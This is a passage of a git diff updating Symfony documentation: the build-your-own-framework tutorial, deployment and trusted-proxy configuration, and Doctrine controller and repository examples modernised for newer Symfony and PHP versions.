     <!-- example.com/src/pages/hello.php -->
-    <?php $name = $request->get('name', 'World') ?>
+    <?php $name = $request->attributes->get('name', 'World') ?>
 
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
 
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 99dff5c1faf..e6a5c8b2714 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -11,7 +11,7 @@ top of the Symfony components is better than creating a framework from scratch.
 
     We won't talk about the traditional benefits of using a framework when
     working on big applications with more than a few developers; the Internet
-    has already plenty of good resources on that topic.
+    already has plenty of good resources on that topic.
 
 Even if the "application" we wrote in the previous chapter was simple enough,
 it suffers from a few problems::
@@ -25,7 +25,7 @@ First, if the ``name`` query parameter is not defined in the URL query string,
 you will get a PHP warning; so let's fix it::
 
     // framework/index.php
-    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
+    $name = $_GET['name'] ?? 'World';
 
     printf('Hello %s', $name);
 
@@ -33,7 +33,7 @@ Then, this *application is not secure*. Can you believe it? Even this simple
 snippet of PHP code is vulnerable to one of the most widespread Internet
 security issue, XSS (Cross-Site Scripting). Here is a more secure version::
 
-    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
+    $name = $_GET['name'] ?? 'World';
 
     header('Content-Type: text/html; charset=utf-8');
 
@@ -141,7 +141,7 @@ Now, let's rewrite our application by using the ``Request`` and the
 
     $request = Request::createFromGlobals();
 
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
 
     $response = new Response(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 
@@ -265,7 +265,7 @@ So, the ``getClientIp()`` method works securely in all circumstances. You can
 use it in all your projects, whatever the configuration is, it will behave
 correctly and safely. That's one of the goals of using a framework. If you were
 to write a framework from scratch, you would have to think about all these
-cases by yourself. Why not using a technology that already works?
+cases by yourself. Why not use a technology that already works?
 
 .. note::
 
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index 1cf76830abd..0f4e565b084 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -133,7 +133,7 @@ instead of a full Response object::
 
     class LeapYearController
     {
-        public function index(Request $request, $year)
+        public function index($year)
         {
             $leapYear = new LeapYear();
             if ($leapYear->isLeapYear($year)) {
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index a5c46c8daaa..29ddcc9c124 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -16,7 +16,7 @@ goal by making our framework implement ``HttpKernelInterface``::
          */
         public function handle(
             Request $request,
-            $type = self::MASTER_REQUEST,
+            $type = self::MAIN_REQUEST,
             $catch = true
         );
     }
@@ -39,7 +39,7 @@ Update your framework so that it implements this interface::
 
         public function handle(
             Request $request,
-            $type = HttpKernelInterface::MASTER_REQUEST,
+            $type = HttpKernelInterface::MAIN_REQUEST,
             $catch = true
         ) {
             // ...
diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index 1c068942110..d3574de4c94 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -62,9 +62,9 @@ Before You Start
 
 Reading about how to create a framework is not enough. You will have to follow
 along and actually type all the examples included in this tutorial. For that,
-you need a recent version of PHP (5.5.9 or later is good enough), a web server
+you need a recent version of PHP (7.4 or later is good enough), a web server
 (like Apache, nginx or PHP's built-in web server), a good knowledge of PHP and
-an understanding of Object Oriented programming.
+an understanding of Object Oriented Programming.
 
 Ready to go? Read on!
 
@@ -113,5 +113,5 @@ In the :doc:`next chapter </create_framework/http_foundation>`, we are going to
 introduce the HttpFoundation Component and see what it brings us.
 
 .. _`Symfony`: https://symfony.com/
-.. _`Composer`: https//getcomposer.org/
+.. _`Composer`: https://getcomposer.org/
 .. _`download and install Composer`: https://getcomposer.org/download/
diff --git a/create_framework/routing.rst b/create_framework/routing.rst
index d381daed2eb..f76167ec2fb 100644
--- a/create_framework/routing.rst
+++ b/create_framework/routing.rst
@@ -30,7 +30,9 @@ framework just a little to make templates even more readable::
     $response->send();
 
 As we now extract the request query parameters, simplify the ``hello.php``
-template as follows::
+template as follows:
+
+.. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
     Hello <?= htmlspecialchars(isset($name) ? $name : 'World', ENT_QUOTES, 'UTF-8') ?>
@@ -161,7 +163,9 @@ There are a few new things in the code:
 
 * ``500`` errors are now managed correctly;
 
-* Request attributes are extracted to keep our templates simple::
+* Request attributes are extracted to keep our templates simple:
+
+.. code-block:: html+php
 
     // example.com/src/pages/hello.php
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 4ae746e1c91..972f2a1f982 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -145,7 +145,8 @@ framework does not need to be modified in any way, create a new
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function is_leap_year($year = null) {
+    function is_leap_year($year = null)
+    {
         if (null === $year) {
             $year = date('Y');
         }
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index a4d6d401c33..a18f3750363 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -16,22 +16,22 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
     <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/5.1/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.3/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
     >
+        <coverage processUncoveredFiles="true">
+            <include>
+                <directory suffix=".php">./src</directory>
+            </include>
+        </coverage>
+
         <testsuites>
             <testsuite name="Test Suite">
                 <directory>./tests</directory>
             </testsuite>
         </testsuites>
-
-        <filter>
-            <whitelist processUncoveredFilesFromWhitelist="true">
-                <directory suffix=".php">./src</directory>
-            </whitelist>
-        </filter>
     </phpunit>
 
 This configuration defines sensible defaults for most PHPUnit settings; more
@@ -167,7 +167,7 @@ Response::
             ->will($this->returnValue([
                 '_route' => 'is_leap_year/{year}',
                 'year' => '2000',
-                '_controller' => [new LeapYearController(), 'index']
+                '_controller' => [new LeapYearController(), 'index'],
             ]))
         ;
         $matcher
@@ -215,6 +215,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://phpunit.de/manual/current/en/index.html
-.. _`test doubles`: https://phpunit.de/manual/current/en/test-doubles.html
+.. _`PHPUnit`: https://phpunit.readthedocs.io/en/stable/
+.. _`test doubles`: https://phpunit.readthedocs.io/en/stable/test-doubles.html
 .. _`XDebug`: https://xdebug.org/
diff --git a/deployment.rst b/deployment.rst
index 36854742dcc..1de29ae5b16 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -7,9 +7,9 @@ How to Deploy a Symfony Application
 ===================================
 
 Deploying a Symfony application can be a complex and varied task depending on
-the setup and the requirements of your application. This article is not a step-
-by-step guide, but is a general list of the most common requirements and ideas
-for deployment.
+the setup and the requirements of your application. This article is not a
+step-by-step guide, but is a general list of the most common requirements and
+ideas for deployment.
 
 .. _symfony2-deployment-basics:
 
@@ -46,7 +46,7 @@ Basic File Transfer
 The most basic way of deploying an application is copying the files manually
 via FTP/SCP (or similar method). This has its disadvantages as you lack control
 over the system as the upgrade progresses. This method also requires you
-to take some manual steps after transferring the files (see `Common Post-Deployment Tasks`_)
+to take some manual steps after transferring the files (see `Common Deployment Tasks`_).
 
 Using Source Control
 ~~~~~~~~~~~~~~~~~~~~
@@ -58,7 +58,7 @@ system. When using Git, a common approach is to create a tag for each release
 and check out the appropriate tag on deployment (see `Git Tagging`_).
 
 This makes updating your files *easier*, but you still need to worry about
-manually taking other steps (see `Common Post-Deployment Tasks`_).
+manually taking other steps (see `Common Deployment Tasks`_).
 
 Using Platforms as a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -80,9 +80,6 @@ Using Build Scripts and other Tools
 There are also tools to help ease the pain of deployment. Some of them have been
 specifically tailored to the requirements of Symfony.
 
-`EasyDeployBundle`_
-    A Symfony bundle that adds deploy tools to your application.
-
 `Deployer`_
     This is another native PHP rewrite of Capistrano, with some ready recipes for
     Symfony.
@@ -103,17 +100,43 @@ specifically tailored to the requirements of Symfony.
     `Symfony plugin`_ is a plugin to ease Symfony related tasks, inspired by `Capifony`_
     (which works only with Capistrano 2).
 
-Common Post-Deployment Tasks
-----------------------------
+.. _common-post-deployment-tasks:
+
+Common Deployment Tasks
+-----------------------
 
-After deploying your actual source code, there are a number of common things
-you'll need to do:
+Before and after deploying your actual source code, there are a number of common
+things you'll need to do:
 
 A) Check Requirements
 ~~~~~~~~~~~~~~~~~~~~~
 
-Use the ``check:requirements`` command to check if your server meets the
-:ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`.
+There are some :ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`.
+In your development machine, the recommended way to check these requirements is
+to use `Symfony CLI`_. However, in your production server you might prefer to
+not install the Symfony CLI tool. In those cases, install this other package in
+your application:
+
+.. code-block:: terminal
+
+    $ composer require symfony/requirements-checker
+
+Then, make sure that the checker is included in your Composer scripts:
+
+.. code-block:: json
+
+    {
+        "...": "...",
+
+        "scripts": {
+            "auto-scripts": {
+                "vendor/bin/requirements-checker": "php-script",
+                "...": "..."
+            },
+
+            "...": "..."
+        }
+    }
 
 .. _b-configure-your-app-config-parameters-yml-file:
 
@@ -213,7 +236,7 @@ are simple and more complex tools and one can make the deployment as easy
 
 Don't forget that deploying your application also involves updating any dependency
 (typically via Composer), migrating your database, clearing your cache and
-other potential things like pushing assets to a CDN (see `Common Post-Deployment Tasks`_).
+other potential things like pushing assets to a CDN (see `Common Deployment Tasks`_).
 
 Troubleshooting
 ---------------
@@ -252,8 +275,8 @@ Learn More
 .. _`Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
 .. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
 .. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
-.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-4-uni
-.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
+.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-5
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony
+.. _`Symfony CLI`: https://symfony.com/download
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 12bf3f1cac1..5b12fb5e946 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -22,31 +22,93 @@ Solution: ``setTrustedProxies()``
 ---------------------------------
 
 To fix this, you need to tell Symfony which reverse proxy IP addresses to trust
-and what headers your reverse proxy uses to send information::
+and what headers your reverse proxy uses to send information:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            # the IP address (or range) of your proxy
+            trusted_proxies: '192.0.0.1,10.0.0.0/8'
+            # trust *all* "X-Forwarded-*" headers
+            trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix']
+            # or, if your proxy instead uses the "Forwarded" header
+            trusted_headers: ['forwarded']
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- the IP address (or range) of your proxy -->
+                <framework:trusted-proxies>192.0.0.1,10.0.0.0/8</framework:trusted-proxies>
+
+                <!-- trust *all* "X-Forwarded-*" headers -->
+                <framework:trusted-header>x-forwarded-for</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-host</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-proto</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-port</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-prefix</framework:trusted-header>
+
+                <!-- or, if your proxy instead uses the "Forwarded" header -->
+                <framework:trusted-header>forwarded</framework:trusted-header>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                // the IP address (or range) of your proxy
+                ->trustedProxies('192.0.0.1,10.0.0.0/8')
+                // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
+                ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix'])
+                // or, if your proxy instead uses the "Forwarded" header
+                ->trustedHeaders(['forwarded'])
+            ;
+        };
+
+.. deprecated:: 5.2
+
+    In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
+    to trust all "X-Forwarded-" headers, but that constant is deprecated since
+    Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
+
+.. caution::
+
+    Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
+    application to `HTTP Host header attacks`_. Make sure the proxy really
+    sends an ``x-forwarded-host`` header.
 
-    // public/index.php
-
-    // ...
-    $request = Request::createFromGlobals();
-
-    // tell Symfony about your reverse proxy
-    Request::setTrustedProxies(
-        // the IP address (or range) of your proxy
-        ['192.0.0.1', '10.0.0.0/8'],
+The Request object has several ``Request::HEADER_*`` constants that control exactly
+*which* headers from your reverse proxy are trusted. The argument is a bit field,
+so you can also pass your own value (e.g. ``0b00110``).
 
-        // trust *all* "X-Forwarded-*" headers
-        Request::HEADER_X_FORWARDED_ALL
+.. versionadded:: 5.2
 
-        // or, if your proxy instead uses the "Forwarded" header
-        // Request::HEADER_FORWARDED
+    The feature to configure trusted proxies and headers with ``trusted_proxies``
+    and ``trusted_headers`` options was introduced in Symfony 5.2. In earlier
+    Symfony versions you needed to use the ``Request::setTrustedProxies()``
+    method in the ``public/index.php`` file.
 
-        // or, if you're using AWS ELB
-        // Request::HEADER_X_FORWARDED_AWS_ELB
-    );
+.. caution::
 
-The Request object has several ``Request::HEADER_*`` constants that control exactly
-*which* headers from your reverse proxy are trusted. The argument is a bit field,
-so you can also pass your own value (e.g. ``0b00110``).
+    The "trusted proxies" feature does not work as expected when using the
+    `nginx realip module`_. Disable that module when serving Symfony applications.
 
 But what if the IP of my Reverse Proxy Changes Constantly!
 ----------------------------------------------------------
@@ -59,19 +121,16 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
    other than your load balancers. For AWS, this can be done with `security groups`_.
 
 #. Once you've guaranteed that traffic will only come from your trusted reverse
-   proxies, configure Symfony to *always* trust incoming request::
-
-       // public/index.php
+   proxies, configure Symfony to *always* trust incoming request:
 
-       // ...
-       Request::setTrustedProxies(
-           // trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-           // run time by $_SERVER['REMOTE_ADDR'])
-           ['127.0.0.1', 'REMOTE_ADDR'],
+    .. code-block:: yaml
 
-           // if you're using ELB, otherwise use a constant from above
-           Request::HEADER_X_FORWARDED_AWS_ELB
-       );
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
+            # run time by $_SERVER['REMOTE_ADDR'])
+            trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
@@ -87,6 +146,12 @@ other information.
         # .env
         TRUSTED_PROXIES=127.0.0.1,REMOTE_ADDR
 
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            trusted_proxies: '%env(TRUSTED_PROXIES)%'
 
 If you are also using a reverse proxy on top of your load balancer (e.g.
 `CloudFront`_), calling ``$request->server->get('REMOTE_ADDR')`` won't be
@@ -98,11 +163,13 @@ trusted proxies.
 Custom Headers When Using a Reverse Proxy
 -----------------------------------------
 
-Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``) may force you to use a custom header.
-For instance you have ``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``.
+Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``)
+may force you to use a custom header. For instance you have
+``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``.
 
-In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value of
-``Custom-Forwarded-Proto`` early enough in your application, i.e. before handling the request::
+In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
+of ``Custom-Forwarded-Proto`` early enough in your application, i.e. before
+handling the request::
 
     // public/index.php
 
@@ -114,3 +181,5 @@ In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
 .. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
+.. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
+.. _`nginx realip module`: http://nginx.org/en/docs/http/ngx_http_realip_module.html
diff --git a/docs.json b/docs.json
deleted file mode 100644
index 70c1a299f0e..00000000000
--- a/docs.json
+++ /dev/null
@@ -1,3 +0,0 @@
-{
-    "exclude": ["_build"]
-}
diff --git a/doctrine.rst b/doctrine.rst
index 2f7aef172ea..b2ac440d72a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -46,12 +46,18 @@ The database connection information is stored as an environment variable called
     # customize this line!
     DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
+    # to use mariadb:
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=mariadb-10.5.8"
+
     # to use sqlite:
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
-    
+
     # to use postgresql:
     # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
 
+    # to use oracle:
+    # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
+
 .. caution::
 
     If the username, password, host or database name contain any character considered
@@ -227,9 +233,11 @@ already installed:
 
 If everything worked, you should see something like this:
 
+.. code-block:: text
+
     SUCCESS!
 
-    Next: Review the new migration "migrations/Version20180207231217.php"
+    Next: Review the new migration "migrations/Version20211116204726.php"
     Then: Run the migration with php bin/console doctrine:migrations:migrate
 
 If you open this file, it contains the SQL needed to update your database! To run
@@ -277,20 +285,20 @@ methods:
 
 .. code-block:: diff
 
-    // src/Entity/Product.php
-    // ...
+      // src/Entity/Product.php
+      // ...
 
-    class Product
-    {
-        // ...
+      class Product
+      {
+          // ...
 
     +     /**
     +      * @ORM\Column(type="text")
     +      */
     +     private $description;
 
-        // getDescription() & setDescription() were also added
-    }
+          // getDescription() & setDescription() were also added
+      }
 
 The new property is mapped, but it doesn't exist yet in the ``product`` table. No
 problem! Generate a new migration:
@@ -361,11 +369,9 @@ and save it::
         /**
          * @Route("/product", name="create_product")
          */
-        public function createProduct(): Response
+        public function createProduct(ManagerRegistry $doctrine): Response
         {
-            // you can fetch the EntityManager via $this->getDoctrine()
-            // or you can add an argument to the action: createProduct(EntityManagerInterface $entityManager)
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
 
             $product = new Product();
             $product->setName('Keyboard');
@@ -400,7 +406,11 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 18** The ``$this->getDoctrine()->getManager()`` method gets Doctrine's
+* **line 14** The ``ManagerRegistry $doctrine`` argument tells Symfony to
+  :ref:`inject the Doctrine service <services-constructor-injection>` into the
+  controller method.
+
+* **line 16** The ``$doctrine->getManager()`` method gets Doctrine's
   *entity manager* object, which is the most important object in Doctrine. It's
   responsible for saving objects to, and fetching objects from, the database.
 
@@ -499,46 +509,58 @@ Fetching an object back out of the database is even easier. Suppose you want to
 be able to go to ``/product/1`` to see your new product::
 
     // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show($id)
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
-
-        if (!$product) {
-            throw $this->createNotFoundException(
-                'No product found for id '.$id
-            );
-        }
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(ManagerRegistry $doctrine, int $id): Response
+        {
+            $product = $doctrine->getRepository(Product::class)->find($id);
+
+            if (!$product) {
+                throw $this->createNotFoundException(
+                    'No product found for id '.$id
+                );
+            }
 
-        return new Response('Check out this great product: '.$product->getName());
+            return new Response('Check out this great product: '.$product->getName());
 
-        // or render a template
-        // in the template, print things with {{ product.name }}
-        // return $this->render('product/show.html.twig', ['product' => $product]);
+            // or render a template
+            // in the template, print things with {{ product.name }}
+            // return $this->render('product/show.html.twig', ['product' => $product]);
+        }
     }
 
 Another possibility is to use the ``ProductRepository`` using Symfony's autowiring
 and injected by the dependency injection container::
 
     // src/Controller/ProductController.php
-    // ...
+    namespace App\Controller;
+
+    use App\Entity\Product;
     use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show($id, ProductRepository $productRepository)
+    class ProductController extends AbstractController
     {
-        $product = $productRepository
-            ->find($id);
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(int $id, ProductRepository $productRepository): Response
+        {
+            $product = $productRepository
+                ->find($id);
 
-        // ...
+            // ...
+        }
     }
 
 Try it out!
@@ -551,7 +573,7 @@ job is to help you fetch entities of a certain class.
 
 Once you have a repository object, you have many helper methods::
 
-    $repository = $this->getDoctrine()->getRepository(Product::class);
+    $repository = $doctrine->getRepository(Product::class);
 
     // look for a single Product by its primary key (usually "id")
     $product = $repository->find($id);
@@ -604,15 +626,23 @@ for you automatically! First, install the bundle in case you don't have it:
 Now, simplify your controller::
 
     // src/Controller/ProductController.php
+    namespace App\Controller;
+
     use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show(Product $product)
+    class ProductController extends AbstractController
     {
-        // use the Product!
-        // ...
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(Product $product): Response
+        {
+            // use the Product!
+            // ...
+        }
     }
 
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
@@ -626,26 +656,37 @@ Updating an Object
 Once you've fetched an object from Doctrine, you interact with it the same as
 with any PHP model::
 
-    /**
-     * @Route("/product/edit/{id}")
-     */
-    public function update($id)
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
+
+    class ProductController extends AbstractController
     {
-        $entityManager = $this->getDoctrine()->getManager();
-        $product = $entityManager->getRepository(Product::class)->find($id);
+        /**
+         * @Route("/product/edit/{id}")
+         */
+        public function update(ManagerRegistry $doctrine, int $id): Response
+        {
+            $entityManager = $doctrine->getManager();
+            $product = $entityManager->getRepository(Product::class)->find($id);
 
-        if (!$product) {
-            throw $this->createNotFoundException(
-                'No product found for id '.$id
-            );
-        }
+            if (!$product) {
+                throw $this->createNotFoundException(
+                    'No product found for id '.$id
+                );
+            }
 
-        $product->setName('New product name!');
-        $entityManager->flush();
+            $product->setName('New product name!');
+            $entityManager->flush();
 
-        return $this->redirectToRoute('product_show', [
-            'id' => $product->getId()
-        ]);
+            return $this->redirectToRoute('product_show', [
+                'id' => $product->getId()
+            ]);
+        }
     }
 
 Using Doctrine to edit an existing product consists of three steps:
@@ -679,8 +720,7 @@ You've already seen how the repository object allows you to run basic queries
 without any work::
 
     // from inside a controller
-    $repository = $this->getDoctrine()->getRepository(Product::class);
-
+    $repository = $doctrine->getRepository(Product::class);
     $product = $repository->find($id);
 
 But what if you need a more complex query? When you generated your entity with
@@ -721,7 +761,7 @@ a new method for this to your repository::
         /**
          * @return Product[]
          */
-        public function findAllGreaterThanPrice($price): array
+        public function findAllGreaterThanPrice(int $price): array
         {
             $entityManager = $this->getEntityManager();
 
@@ -747,9 +787,7 @@ Now, you can call this method on the repository::
     // from inside a controller
     $minPrice = 1000;
 
-    $products = $this->getDoctrine()
-        ->getRepository(Product::class)
-        ->findAllGreaterThanPrice($minPrice);
+    $products = $doctrine->getRepository(Product::class)->findAllGreaterThanPrice($minPrice);
 
     // ...
 
@@ -766,25 +804,28 @@ based on PHP conditions)::
     // src/Repository/ProductRepository.php
 
     // ...
-    public function findAllGreaterThanPrice($price, $includeUnavailableProducts = false): array
+    class ProductRepository extends ServiceEntityRepository
     {
-        // automatically knows to select Products
-        // the "p" is an alias you'll use in the rest of the query
-        $qb = $this->createQueryBuilder('p')
-            ->where('p.price > :price')
-            ->setParameter('price', $price)
-            ->orderBy('p.price', 'ASC');
-
-        if (!$includeUnavailableProducts) {
-            $qb->andWhere('p.available = TRUE');
-        }
+        public function findAllGreaterThanPrice(int $price, bool $includeUnavailableProducts = false): array
+        {
+            // automatically knows to select Products
+            // the "p" is an alias you'll use in the rest of the query
+            $qb = $this->createQueryBuilder('p')
+                ->where('p.price > :price')
+                ->setParameter('price', $price)
+                ->orderBy('p.price', 'ASC');
+
+            if (!$includeUnavailableProducts) {
+                $qb->andWhere('p.available = TRUE');
+            }
 
-        $query = $qb->getQuery();
+            $query = $qb->getQuery();
 
-        return $query->execute();
+            return $query->execute();
 
-        // to get just one result:
-        // $product = $query->setMaxResults(1)->getOneOrNullResult();
+            // to get just one result:
+            // $product = $query->setMaxResults(1)->getOneOrNullResult();
+        }
     }
 
 Querying with SQL
@@ -795,20 +836,23 @@ In addition, you can query directly with SQL if you need to::
     // src/Repository/ProductRepository.php
 
     // ...
-    public function findAllGreaterThanPrice($price): array
+    class ProductRepository extends ServiceEntityRepository
     {
-        $conn = $this->getEntityManager()->getConnection();
-
-        $sql = '
-            SELECT * FROM product p
-            WHERE p.price > :price
-            ORDER BY p.price ASC
-            ';
-        $stmt = $conn->prepare($sql);
-        $stmt->execute(['price' => $price]);
-
-        // returns an array of arrays (i.e. a raw data set)
-        return $stmt->fetchAllAssociative();
+        public function findAllGreaterThanPrice(int $price): array
+        {
+            $conn = $this->getEntityManager()->getConnection();
+
+            $sql = '
+                SELECT * FROM product p
+                WHERE p.price > :price
+                ORDER BY p.price ASC
+                ';
+            $stmt = $conn->prepare($sql);
+            $stmt->execute(['price' => $price]);
+
+            // returns an array of arrays (i.e. a raw data set)
+            return $stmt->fetchAllAssociative();
+        }
     }
 
 With SQL, you will get back raw data, not objects (unless you use the `NativeQuery`_
@@ -874,5 +918,5 @@ Learn more
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine
 .. _`API Platform`: https://api-platform.com/docs/core/validation/
 .. _`PDO`: https://www.php.net/pdo
-.. _`available Doctrine extensions`: https://github.com/Atlantic18/DoctrineExtensions
+.. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8bdddab536b..98fccd63d29 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -171,6 +171,32 @@ the ``Product`` entity (and getter & setter methods):
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Product.php
+        namespace App\Entity;
+
+        // ...
+        class Product
+        {
+            // ...
+
+            #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: "products")]
+            private $category;
+
+            public function getCategory(): ?Category
+            {
+                return $this->category;
+            }
+
+            public function setCategory(?Category $category): self
+            {
+                $this->category = $category;
+
+                return $this;
+            }
+        }
+
     .. code-block:: yaml
 
         # src/Resources/config/doctrine/Product.orm.yml
@@ -248,6 +274,38 @@ class that will hold these objects:
             // addProduct() and removeProduct() were also added
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Category.php
+        namespace App\Entity;
+
+        // ...
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection;
+
+        class Category
+        {
+            // ...
+
+            #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category")]
+            private $products;
+
+            public function __construct()
+            {
+                $this->products = new ArrayCollection();
+            }
+
+            /**
+             * @return Collection|Product[]
+             */
+            public function getProducts(): Collection
+            {
+                return $this->products;
+            }
+
+            // addProduct() and removeProduct() were also added
+        }
+
     .. code-block:: yaml
 
         # src/Resources/config/doctrine/Category.orm.yml
@@ -320,6 +378,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
     // ...
     use App\Entity\Category;
